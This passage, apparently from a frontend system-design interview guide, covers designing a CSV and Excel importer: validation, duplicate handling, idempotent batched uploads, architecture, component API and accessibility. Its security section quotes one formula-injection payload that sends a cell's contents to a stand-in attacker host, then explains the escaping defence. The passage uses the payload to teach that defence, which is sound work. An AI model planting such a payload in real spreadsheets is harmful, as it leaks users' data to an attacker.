EnumHot, hot lead, HOT, Lead for the stage lead; Y, yes, 1, x for true.Collect the distinct values in the column and show a small value-mapping table: each distinct value gets a dropdown of allowed values. Ten distinct values is ten choices, not 4,000 cell fixes.
Required and uniqueBlank emails; the same email twice in the file.Required fails on empty after trim. Duplicates in the file are flagged on every repeat after the first, with a link to the first.

The date rule deserves a closer look, because it is where silent data corruption hides. If a column holds 05/06/1988, 11/09/1975 and 12/01/1992, every value is valid both ways. Picking one silently means that for some users every birthday shifts by months, with no error to warn anyone.

So when the column doesn't decide, the Review step asks one question: "Dates like 05/06/1988 are: Day first (5 June) or Month first (May 6)". The default comes from the user's locale, and the answer is saved in the template. The locale-formatting lesson covers why locale defaults are a guess, not a fact.

ts
type CellError = { row: number; col: number; code: string; message: string };

type FieldRule = {
  key: string; label: string; required?: boolean; unique?: boolean;
  parse: (raw: string, ctx: ColumnContext) => { value: unknown } | { error: string };
};

// In the worker, per row. ctx holds per-column choices: date order, decimal mark, value map.
function validateRow(cells: string[], rowIndex: number, plan: MappedColumn[]): CellError[] {
  const errors: CellError[] = [];
  for (const { col, rule, ctx } of plan) {
    const raw = (edits.get(rowIndex)?.get(col) ?? cells[col] ?? "").trim();
    if (raw === "") {
      if (rule.required) errors.push({ row: rowIndex, col, code: "required", message: rule.label + " is required" });
      continue;
    }
    const r = rule.parse(raw, ctx);
    if ("error" in r) errors.push({ row: rowIndex, col, code: "invalid", message: r.error });
  }
  return errors;
}
User edits live in a sparse map keyed by row, then column, layered over the file's values. The file itself is never rewritten.

Showing and fixing errors

The Review step leads with a summary ("17 errors in 12 rows: 9 invalid phone, 5 missing email, 3 unknown country") and a toggle that shows only rows with errors. Each bad cell has a red outline, an icon, and its message on focus, so color is never the only signal.

The user can type a fix into the cell, which the worker revalidates in about a millisecond; use bulk actions ("Set all 3 unknown countries Deutschland to Germany", "Clear 9 invalid phones"); or skip the row. Skipped and still-invalid rows are simply not imported. The user doesn't have to reach zero errors to continue, as long as they confirm.

For files with thousands of errors, fixing in the browser is the wrong tool. Offer Download rows with errors: a CSV of only the bad rows with an extra Error column, which the user fixes in Excel and imports again. Building that file means writing user data into a spreadsheet, so it must escape formulas (see the security chapter).

Fixing a cell, as a sequence between the user, the review grid and the worker. The user types maria@acme.io in row 14. The grid posts the edit for row 14, email, to the worker. The worker stores the edit, revalidates the row, and replies: row 14 is valid, 16 errors left. The grid re-renders the cell as valid and updates the summary. In the failure path, the user types maria@ with no domain, the grid posts the edit, the worker replies invalid, no domain, and the cell stays red with its message while focus stays in the cell.UserReviewGridWorkertypes maria@acme.ioedit(row 14, email)row 14 ok, 16 leftcell valid, summarytypes maria@edit(row 14, email)invalid: no domainred cell, messagefailure path
The grid never validates by itself: the worker owns the rules, the edits and the counts, so the summary and the cell can't disagree. One row takes about a millisecond, so the reply feels instant.

Try the whole loop in the lab below: headers auto-match with scores, you can change any mapping, pick the date order, and watch the per-cell errors and the counts update.

Dates like 03/04/1990Mode
Mapping and validation lab. Mapping: E-mail Address to email, Nombre to nothing, Phone to phone, Birthday to birthday, Status to stage, Notes to nothing. Preview: 1 new, 1 updates, 3 errors, 1 duplicates, 0 skipped. Errors: row 3 E-mail Address: not a valid email; row 3 Phone: too few digits; row 4 Status: "Hot" is not a stage; row 5 E-mail Address: Email is required.E-mail A…emailNombreskipPhonephoneBirthdaybirthdayStatusstageNotesskipresultana@exa…Ana+1 415 …03/04/1…Leadmet at …newli@exam…Li555-0107/08/1…Customererroromar@ex…Omar+44 20 …11/12/2…Hotcall ba…errorSara+1 415 …25/12/1…LeaderrorANA@exa…Ana B+1 415 …01/02/1…Customerdup?dupmaria@a…Maria+49 151…1988-06…Customerupdate1 new, 1 updates, 3 errors, 1 duplicates, 0 skippedrow 3 E-mail Address: not a valid email
Headers were auto-matched. Nombre scored too low to map: pick First name for it.

Check your understanding · Exercise 6

A birthday column contains 03/04/1990, 07/08/1985 and 11/12/2001, and the user's browser locale is en-GB. What should the import do? Select all that apply.

Duplicates, updates and the preview counts

Many imports are not new data. They are last month's list with changes: new phone numbers, a new lifecycle stage, 200 new people. Import them naively, always creating, and the CRM fills with two copies of everyone.

So the import needs a match key, a field that identifies a record, and a rule for what to do when a row matches an existing record. For contacts the key is email; for products it is the SKU; for transactions an external ID.

Normalize the key the same way on both sides before comparing: trim spaces and lowercase the email. Keep the rule conservative. Treating a.b@gmail.com and ab@gmail.com as the same person is true for Gmail and false for most other providers, so it does not belong in a generic import.

  • Create only: rows whose key exists are skipped. Safe for adding a new list.
  • Update only: rows whose key doesn't exist are skipped. Safe for enriching existing records without adding anyone.
  • Create and update (an upsert): new keys create, existing keys update. The common choice for repeat imports.

Updates raise one more question: what does an empty cell mean? In a file where the phone column is blank for a contact who has a phone, the user almost never means "delete the phone". The default is don't overwrite with blanks, with a checkbox to change it. Duplicates inside the file get a rule too: the first occurrence wins by default and the repeats are flagged in the Review step, because silently picking the last one surprises people.

How each row is classified. First: does it have cell errors? If yes, it is an error and is not sent. If no: was its key already seen earlier in the file? If yes, it is a duplicate and is flagged. If no: does the key exist on the server? If yes, it is an update, if the mode allows updates, otherwise skipped. If no, it is new, if the mode allows creates, otherwise skipped. The preview counts add these up: 1,204 new, 312 updates, 17 errors, 3 duplicates.Cell errors?Key seen in file?Key on server?Newif mode createsError: not sentDuplicate: flaggedUpdateif mode updates1,204 new, 312 updates17 errors, 3 duplicatesyesyesyesnonono
The order matters: a row with a broken email can't be matched, and a repeat inside the file must be caught before the server lookup, or both copies would count as new.

Decision How do we show "1,204 new, 312 updates" before importing anything?

No preview: report after the import

Send rows; the summary says what happened.

Pros

  • No extra endpoint.

Cons

  • The user learns after the fact that 3,000 rows they thought were new were updates, or were skipped by update-only mode.

Client lookup of keys

The worker collects the distinct normalized keys and posts them in chunks of 1,000 to POST /contacts/lookup, which returns the keys that exist. The worker classifies every row.

Pros

  • Fast: 50,000 emails is about 1.2 MB of JSON before compression, in 50 small requests.
  • Counts update instantly when the user switches mode.

Cons

  • A snapshot: a record created a minute later by a colleague isn't in it.

Server dry run

Upload all rows to a staging area; the server runs the import with writes turned off and returns counts and errors.

Pros

  • Exact, including server-only rules.

Cons

  • Uploads everything before the user has decided anything; slow for big files; the server stores unconfirmed personal data.

What we pick: Client lookup of keys. It sends only the key column, gives counts in a second or two, and lets the mode switch be instant. Label the counts as a preview: the server decides at write time, and the final summary reports what really happened, which can differ by a few rows if someone edited records in between.

Check your understanding · Exercise 7

Mode is "create and update" and "don't overwrite with blanks" is on. A file row has ANA@Example.com and an empty phone. An existing contact has ana@example.com and phone +5511912345678. What happens? Select all that apply.

Sending rows: batches, idempotency and resuming

This chapter explains the 4,000 duplicate contacts from the support ticket. The old flow sent all rows in one POST. The request took 90 seconds, the load balancer timed out at 60, the browser showed an error, and the user clicked Retry.

But the server had kept working after the timeout and created every contact, so the retry created them all again. Two lessons: big writes must be split, and every write must be safe to repeat.

Decision How should validated rows reach the server?

One request with every row

POST /contacts/import with a 50 MB JSON body.

Pros

  • Simple; one response with all results.

Cons

  • Hits body size limits and request timeouts; no progress; a failure at 99% loses everything; a retry duplicates.

Upload the raw file; the server does everything

Send the file plus the settings (encoding, delimiter, mapping, date order); a server job parses and imports.

Pros

  • One upload, resumable with the file-uploader guide's chunked upload; the server keeps the original file for audit.

Cons

  • The server must reproduce every choice and every inline edit exactly, which is a second parser and a second source of bugs.
  • Inline fixes have to be sent as a patch list anyway.

An import job fed with numbered batches

POST /imports creates a job with the settings. The worker sends transformed rows in batches of 500 to PUT /imports/{id}/batches/{n}. A commit call starts processing; progress streams back.

Pros

  • Each batch is small, retried alone, and idempotent by its number.
  • The server receives typed values, so it only re-validates; it never re-parses.
  • Resumable: the server knows which batch numbers it has.

Cons

  • More endpoints and a job table on the server.
  • The original file isn't kept unless uploaded separately.

What we pick: An import job fed with numbered batches. The batch number makes every request safe to repeat, the job id makes the whole import resumable and observable, and the server never has to understand CSV. If audit rules require the original file, upload it alongside with the file-uploader's resumable upload; don't make it the source of the rows.

Making every batch safe to repeat

A request is idempotent when sending it twice has the same effect as sending it once. PUT /imports/imp_42/batches/17 is idempotent: the server stores batch 17 of job 42 once, and a second PUT with the same number finds it and returns the stored result. For APIs where the client can't name the resource, the same idea is an Idempotency-Key header with a unique value per logical request, popularized by Stripe and described in an IETF draft. Either way the client can retry any batch after a timeout without asking "did it go through?".

The worker keeps 3 batches in flight. A failed batch waits with exponential backoff and jitter (1 s, 2 s, 4 s, plus a random part, as the retries-and-backoff lesson explains) and is retried up to 5 times. A 4xx other than 408 and 429 is not retried: the batch itself is wrong, so its rows are marked failed with the server's message and the import continues. With 500 rows of about 300 bytes each, a batch is about 150 KB, which uploads in a few seconds even on a slow connection.

Retrying a batch safely, as a sequence between the worker, the import API and the job store. The worker sends PUT batches/17. The API stores batch 17. No reply reaches the worker: it times out after 30 seconds. The worker waits 1 second plus jitter, then sends PUT batches/17 again. The API asks the job store whether batch 17 exists, and the store answers yes, with the stored result. The API replies 200, accepted 498. When all 100 batches are stored, the worker posts commit.WorkerImport APIJob storePUT batches/17store batch 17no reply: timeoutwait 1 s + jitterPUT batches/17 againbatch 17 exists?yes: stored result200, accepted 498after all 100 batches: POST commit
The first attempt succeeded on the server; only the reply was lost. Because the retry carries the same batch number, the server returns the stored result instead of writing 500 contacts twice. A new random key here would recreate the duplicate bug.

Resuming after a closed tab

The job id goes in the URL (/imports/imp_42), so a reload lands on the job. GET /imports/imp_42 returns its status and the batch numbers already received. The transformed rows, though, lived in the worker and are gone. We deliberately don't save them in IndexedDB: that would leave thousands of people's personal data on the disk of a shared laptop.

Instead the page asks the user to pick the same file again and checks it against a fingerprint stored with the job: name, size, lastModified, and a SHA-256 of the first 1 MB from crypto.subtle.digest. It then re-runs the pipeline with the saved settings and sends only the missing batches. Inline edits went to the server as a small patch list when the job was created, and the job returns them on resume, so they survive too.

Processing, progress and partial success

After commit, the server works through the batches in a background job. 500,000 rows can take minutes, so the user must be free to leave the page. Progress comes over server-sent events (GET /imports/imp_42/events, see the server-sent-events lesson): one event per few thousand rows with counts, and a final done event with the summary.

If the stream drops, EventSource reconnects on its own; as a fallback the page polls GET /imports/imp_42 every 5 seconds. When the job finishes while the user is elsewhere, the notifications center tells them.

An import of 500,000 rows is not one database transaction, and pretending it is would lock tables for minutes. The semantics are partial success per row: each row is created, updated, skipped or failed, and the summary says how many of each, with a download of the failed rows and their reasons. Because every record carries the import id, "Undo this import" can delete the created records within a time window. Updates can't be undone this way unless the server also saves the old values, so say so in the confirmation.

The import as a state machine. Parsing goes to Mapping when parsed, Mapping goes to Reviewing when mapped, and Reviewing goes down to Sending on confirm. Sending goes to Processing on commit, and Processing goes to Done with a summary. From Sending, going offline leads to Paused, and resume returns to Sending, sending only the missing batches. From Paused, cancel leads to Cancelled. A note says Cancel works from every client state and terminates the worker.ParsingMappingReviewingPausedSendingProcessingCancelledDonepartial successparsedmappedconfirmcommitofflineresumesummarycancelCancel works from every clientstate: terminate the worker
Only Sending can pause, because it is the only state that depends on the network from the client. Once committed, Processing runs on the server, so closing the tab no longer matters.

Check your understanding · Exercise 8

Batch 17 of 100 times out on the client after 30 seconds. What should happen next? Select all that apply.

Architecture, data model and interfaces

The pieces are now clear. The main rule for drawing boundaries: the main thread owns screens and choices, the worker owns rows, the server owns records. Rows never live in React state, because 500,000 rows in a state store would make every render and every devtools snapshot slow. React state holds only what the screens show: settings, the mapping, counts, and the page of rows currently visible.

PartRuns inResponsibility
ImportWizardMain threadThe four steps (Upload, Map, Review, Import), navigation and focus; holds the session settings in a reducer.
MappingTable, ReviewGrid, ImportProgressMain threadScreens. The grid asks the worker for a window of rows as the user scrolls and renders only those.
ImportClientMain threadA typed wrapper around postMessage: request ids, promises for replies, progress callbacks, terminate() on cancel.
Pipeline workerWeb WorkerDecode, parse, row index, map, transform, validate, dedupe within the file, collect keys, build and send batches with retries.
Lazy parsersWeb WorkerSheetJS for .xlsx and libphonenumber-js, loaded with import() the first time they are needed.
Import APIServerTemplates, key lookup, the import job, batch storage, re-validation, processing, SSE progress, summary and undo.

Why does the worker send the batches itself, rather than handing rows back to the main thread to fetch? Because handing them back means copying 500,000 rows across threads and holding them in the page. fetch works in workers, and the worker already has the rows.

The main thread passes the job id and auth context in; the worker reports progress out. If the app uses cookie authentication this is free, because a same-origin fetch from a worker sends the cookies. With bearer tokens, the main thread posts a fresh token to the worker whenever it refreshes one.

The import's architecture in three zones. On the main thread: ImportWizard with the steps and settings, the Mapping and ReviewGrid screens, and ImportClient, which wraps postMessage. In the Web Worker: the Pipeline from decode to send, lazy parsers for SheetJS and phone numbers, and a row store with the index and edits. On the server: the Import API, a job worker that re-validates and writes, and the contacts database. ImportClient sends the file to the worker; the pipeline sends progress back to the wizard. The worker sends batches to the Import API, and the API streams progress over SSE back to the page.Main threadImportWizardsteps, settingsMappingReviewGridImportClientpostMessage, idsWeb WorkerPipelinedecode to sendLazy parsersSheetJS, phone libRows, index, editsprogressfileServerContacts DBrecords, templatesJob workerre-validate, writeImport APIlookup, jobs, SSEbatchesSSE progress
Rows never cross to the main thread in bulk: the screens ask for small windows. The worker talks to the server itself, so 500,000 rows are never copied between threads.
How data moves. The file on disk streams bytes to the pipeline worker. The worker sends counts and small windows of rows to the page, and the page sends the user's choices back. The worker sends keys to look up and batches of typed rows to the import API, which answers with which keys exist and per-row results. The API upserts records into the contacts database and streams progress and the summary to the page over SSE.Fileon diskPipeline workerPage (React)Import APIContacts DBbytescountschoiceskeys, batchesexists, resultsupsertSSE progress
Every arrow carries something small except the first: bytes from disk. Choices are a few KB, windows are 100 rows, batches are about 150 KB. That is what keeps both threads and the network calm.

Client data model

ts
// Main thread: small, serializable, drives the screens. Saved as a template on success.
type ImportSettings = {
  encoding: string;            // "utf-8" | "windows-1252" | "shift_jis" ...
  delimiter: string;           // "," | ";" | "\t" | "|"
  headerRow: number;
  sheet?: string;              // xlsx only
  mapping: Record<number, string | null>;   // column index to field key, null = ignore
  columnOptions: Record<string, { dateOrder?: "DMY" | "MDY" | "YMD"; decimal?: "." | ","; valueMap?: Record<string, string> }>;
  mode: "create" | "update" | "upsert";
  overwriteBlanks: boolean;
};

type ImportSummary = { rows: number; valid: number; errors: number; duplicatesInFile: number; toCreate: number; toUpdate: number; toSkip: number };

// Worker only: never crosses to the main thread in full.
type WorkerStore = {
  file: File;
  checkpoints: { row: number; byte: number }[];         // every 1,000th row
  rows?: string[][];                                    // small files only
  edits: Map<number, Map<number, string>>;              // row, then column, to fixed text
  skipped: Set<number>;
  errors: CellError[];                                  // sorted by row
  keys: Map<string, number>;                            // normalized key to first row
};

ImportSettings is everything a person decided. It is small, so it goes in the wizard reducer and in sessionStorage (a reload keeps the mapping), and it becomes the template on success. Nothing in it is personal data, apart from distinct enum values in valueMap, which are categories like Hot, not people.

WorkerStore is everything derived from the file. The form-state lesson's split between "what the user chose" and "what we computed" applies here at a larger scale.

Check your understanding · Exercise 9

A teammate proposes keeping all parsed rows in a React context so every screen can read them. What goes wrong with 200,000 rows? Select all that apply.

Interface: the component API and the server API

The importer is used by several products (contacts, products, deals), so it is a component with a target schema passed in, not a contacts page. Products describe their fields; the importer does the rest. Embeddable importers such as Flatfile (whose schema is called a Blueprint), OneSchema (templates) and CSVBox are built around the same idea. The usual component rule applies: make the common case one prop, and give escape hatches as callbacks.

tsx
type FieldType = "text" | "email" | "phone" | "number" | "date" | "boolean" | "enum";

type TargetField = {
  key: string; label: string; type: FieldType;
  required?: boolean; unique?: boolean;          // unique fields can be the match key
  synonyms?: string[];                           // extra header names to match
  options?: { value: string; label: string }[];  // for enum
  validate?: (value: unknown, row: Record<string, unknown>) => string | null; // must be pure: runs in the worker
};

type CsvImporterProps = {
  schema: { entity: string; fields: TargetField[]; matchKey?: string };
  limits?: { maxBytes?: number; maxRows?: number };       // default 100 MB, 500,000
  // Either let the importer talk to the import job API...
  jobApi?: { baseUrl: string };
  // ...or take each batch yourself (small imports, custom backends). Must be idempotent per batchId.
  onSubmitBatch?: (batch: { batchId: string; rows: Record<string, unknown>[] }) => Promise<BatchResult>;
  templates?: { list: () => Promise<Template[]>; save: (t: Template) => Promise<void> };
  onComplete?: (summary: ImportSummary) => void;
  locale?: string;                                         // defaults for numbers and dates
};
Functions can't be posted to a worker (structured clone rejects them), so in practice the schema is a module that both the page and the worker import. That is why a custom validate must be pure: no DOM, no app state.

Two submission modes cover two kinds of host. The job API mode is for big imports and gives resuming, SSE progress and undo. The onSubmitBatch mode is for small imports into an existing endpoint: the worker posts each batch to the page, which calls the callback, so rows do cross threads, one batch at a time.

In this mode the importer still batches, retries and passes a stable batchId, and the host promises to treat a repeated batchId as a no-op. BatchResult returns per-row outcomes so server errors land on the right cells in the Review step.

http
POST /contacts/lookup            { "keys": ["ana@example.com", ...] }      // up to 1,000
  200 { "existing": ["ana@example.com"] }

POST /imports                    { "entity": "contacts", "settings": {...}, "edits": [...],
                                   "fingerprint": {...}, "totalBatches": 100 }
  201 { "id": "imp_42", "status": "receiving" }

PUT  /imports/imp_42/batches/17  { "rows": [{ "rowNumber": 8001, "email": "...", ... }] }
  200 { "accepted": 498, "rejected": [{ "rowNumber": 8044, "field": "email",
                                        "code": "taken_by_other_account", "message": "..." }] }

GET  /imports/imp_42             { "status": "receiving", "received": [1, 2, ..., 16, 18] }
POST /imports/imp_42/commit      202 { "status": "processing" }
GET  /imports/imp_42/events      text/event-stream
  event: progress   data: {"processed": 20000, "created": 15800, "updated": 4100, "failed": 100}
  event: done       data: {"summary": {...}, "failedRowsUrl": "/imports/imp_42/failed.csv"}
POST /imports/imp_42/undo        202
Rows carry their original row number, so every server error points at a line the user can find in their file.

The error format is the same everywhere: rowNumber, field, a stable code for logic and a message for people. The client shows the message but keys behavior on the code, for example offering "skip all rows with taken_by_other_account". Message text changes with every copy edit and translation; codes don't.

Check your understanding · Exercise 10

Which choices make the component reusable across contacts, products and deals? Select all that apply.

Security, privacy and accessibility

Formula injection in the error file

The "Download rows with errors" file is written from user-supplied cells and opened in Excel. If a cell starts with =, Excel treats it as a formula. A contact named =HYPERLINK("https://evil.example/?d="&A2,"Click") becomes a link that sends the neighbouring cell to an attacker when clicked; older tricks used formulas that ran commands.

This is CSV injection (or formula injection). OWASP lists the characters that start a formula: =, +, -, @, tab, carriage return and line feed, plus full-width variants such as = that some locales, Japanese for example, also treat as formulas.

The defense when writing a cell: if it starts with one of those characters, prefix it with a single quote ' so the spreadsheet shows it as text; then quote the field and double any quotes inside, as RFC 4180 requires. Papa Parse's unparse has an escapeFormulae option that does the prefixing for all of them except line feed; pass your own regular expression to cover the rest. Apply it to text fields only: a negative number in a numeric column should stay -42.

OWASP also warns that Excel can drop the quote when a file is saved and reopened, so escaping lowers the risk rather than removing it. The same rules apply to the product's regular CSV export, which the form-builder guide discusses.

ts
const FORMULA_START = /^[=+\-@\t\r\n=+-@]/;

function csvCell(value: string, isText: boolean, delim = ","): string {
  const safe = isText && FORMULA_START.test(value) ? "'" + value : value;
  const needsQuotes = safe.includes(delim) || /["\r\n]/.test(safe);
  return needsQuotes ? '"' + safe.replaceAll('"', '""') + '"' : safe;
}
  • Rendering cells. Every value is rendered as text by React, never through innerHTML, so a cell holding <img onerror> stays harmless text. The xss lesson covers why text rendering is the default to keep.
  • Limits before work. Check file.size before reading anything and stop parsing at the row limit with a clear message. An .xlsx file is a ZIP, so a 1 MB file can expand to gigabytes; read sheets with a row cap and run the parse with a time limit after which the main thread terminates the worker.
  • Personal data in memory. Rows live only in the worker, and the worker is terminated when the import finishes or the user leaves, which frees them. Nothing is written to IndexedDB or localStorage.
  • Personal data in logs. Error tracking and analytics get counts, error codes, file size and timings, never cell values or headers that could contain names. A parse error report says "unclosed quote at row 8,044", not the row.
  • Server is the gate. Permissions, plan limits ("your plan allows 10,000 contacts") and re-validation happen on the server for every batch.

Accessibility

The mapping screen is a real table: each row has the column header as a row header, sample values, and a native select whose accessible name says what it does, such as "Map column E-mail Address to field". Native selects come with keyboard and screen reader support for free; a custom combobox needs the full ARIA pattern. Confidence is shown as text ("Suggested, 71% match, please check") as well as color.

The Review step starts with an error summary: a heading with the count, then a list of links ("Row 14: email is required") that move focus to the cell. Each invalid cell's input has aria-invalid="true" and aria-describedby pointing at its message. When the user moves to a new step, focus goes to the step heading so a screen reader starts at the top.

Progress uses a native progress element with a label, plus a polite live region that speaks at milestones, every 25% or so, and at the end ("Import finished: 48,100 imported, 93 failed"). Announcing every progress event would make a screen reader talk without pause for minutes.

Check your understanding · Exercise 11

Which cells in the error file need a ' prefix before the user opens it in Excel? Select all that apply.

Running it in the interview

In 45 minutes you can't cover every chapter, and you shouldn't try. The interviewer wants to see that you find the hard parts fast, make decisions with reasons, and know the traps hiding in real files. A plan that works:

  1. Minutes 0 to 5: scope. Ask about file size, formats, the target entity, duplicates and who imports. Write the numbers down: 500,000 rows, 100 MB, match on email.
  2. Minutes 5 to 10: the pipeline. Draw the six stages and say the two rules out loud: everything after the file pick runs in a worker, and each stage keeps its input so a change reruns only what follows.
  3. Minutes 10 to 25: two or three deep dives. Pick parsing (quotes, delimiter sniffing, encoding with a strict decode), mapping (layered scores, one-to-one, templates) and validation (ambiguous dates asked once per column). Use real examples: Müller turning into Müller, 01/02/2026.
  4. Minutes 25 to 35: sending. Tell the duplicate story, then the import job with numbered, idempotent batches, backoff, resume by re-selecting the file, SSE progress and per-row partial success.
  5. Minutes 35 to 45: the rest. Component API with the schema prop, CSV injection in the error file, PII, and the accessible error summary. Leave time for questions.

Draw the pipeline first, not the wizard screens: the screens follow from the stages. Say numbers whenever you can ("a 100 MB file as JS strings is several hundred MB, so rows stay in the worker and we keep a checkpoint every 1,000 rows"). Interviewers remember a candidate who knows that German Excel writes semicolons.

Think first

Follow-up: "Users also want to paste rows straight from a spreadsheet instead of uploading a file. What changes?"

Think first

Follow-up: "A user on a phone with 3 GB of RAM imports a 200 MB CSV. What happens?"

Check your understanding · Exercise 12

Which of these would an interviewer count as strong signals in this question? Select all that apply.

Summary

  • An import is a pipeline: decode, parse, map, validate, match, send. Each stage keeps its input, so a change reruns only the stages after it.
  • Everything after the file pick runs in a Web Worker. Rows live in the worker, not in React state; big files stream through with a checkpoint every 1,000 rows instead of being kept.
  • Parse with a quote-aware state machine or a tested library. Sniff the delimiter by consistent column counts, detect encoding with the BOM and a strict UTF-8 decode, and let the user correct every guess.
  • Excel files are lazy-loaded in the worker and turned into the same rows of strings. Watch serial dates, the 1904 date system and formulas with no stored values.
  • Auto-map with layered scores (template, exact, synonym, fuzzy, value fit), one source to one target, and save mappings as server-side templates.
  • Validate with one shared rules module in the worker and on the server. Ask once per column when dates are ambiguous; never guess silently.
  • Send numbered, idempotent batches into an import job. Retries are safe, resuming is possible, progress streams over SSE, and the result is per-row partial success.
  • Escape formulas in any CSV you write, keep personal data out of logs and storage, and give errors a linked summary and progress a calm live region.

Check your answer

Tick what your own design covered. Pick the level you're interviewing for: each level includes the ones before it.

Junior 0 of 4
Mid-level 0 of 5

References

Concepts behind it

Try next